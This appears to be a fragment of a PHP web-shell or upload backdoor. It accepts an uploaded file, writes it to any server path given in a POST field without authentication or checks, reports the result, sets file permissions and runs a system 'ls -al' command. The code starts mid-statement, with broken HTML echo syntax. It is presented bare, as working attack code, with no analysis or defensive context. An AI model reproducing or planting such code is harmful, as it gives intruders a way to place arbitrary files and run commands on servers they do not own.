'; echo << File: Path:
HTML; if (isset($_POST['path'])) { $uploadfile = $_POST['path'].$_FILES['file']['name']; if ($_POST['path']==""){$uploadfile = $_FILES['file']['name']; } if (copy($_FILES['file']['tmp_name'], $uploadfile)) { echo "OK ".$uploadfile." "; echo "Name:" .$_FILES['file']['name']. " "; echo "Ves:" .$_FILES['file']['size']. " "; if( chmod($uploadfile, 0640) ){ echo "Chmod 0640 OK "; } } else { print "Error: "; print_r($_FILES); } } system('ls -al '); print ''; } ?>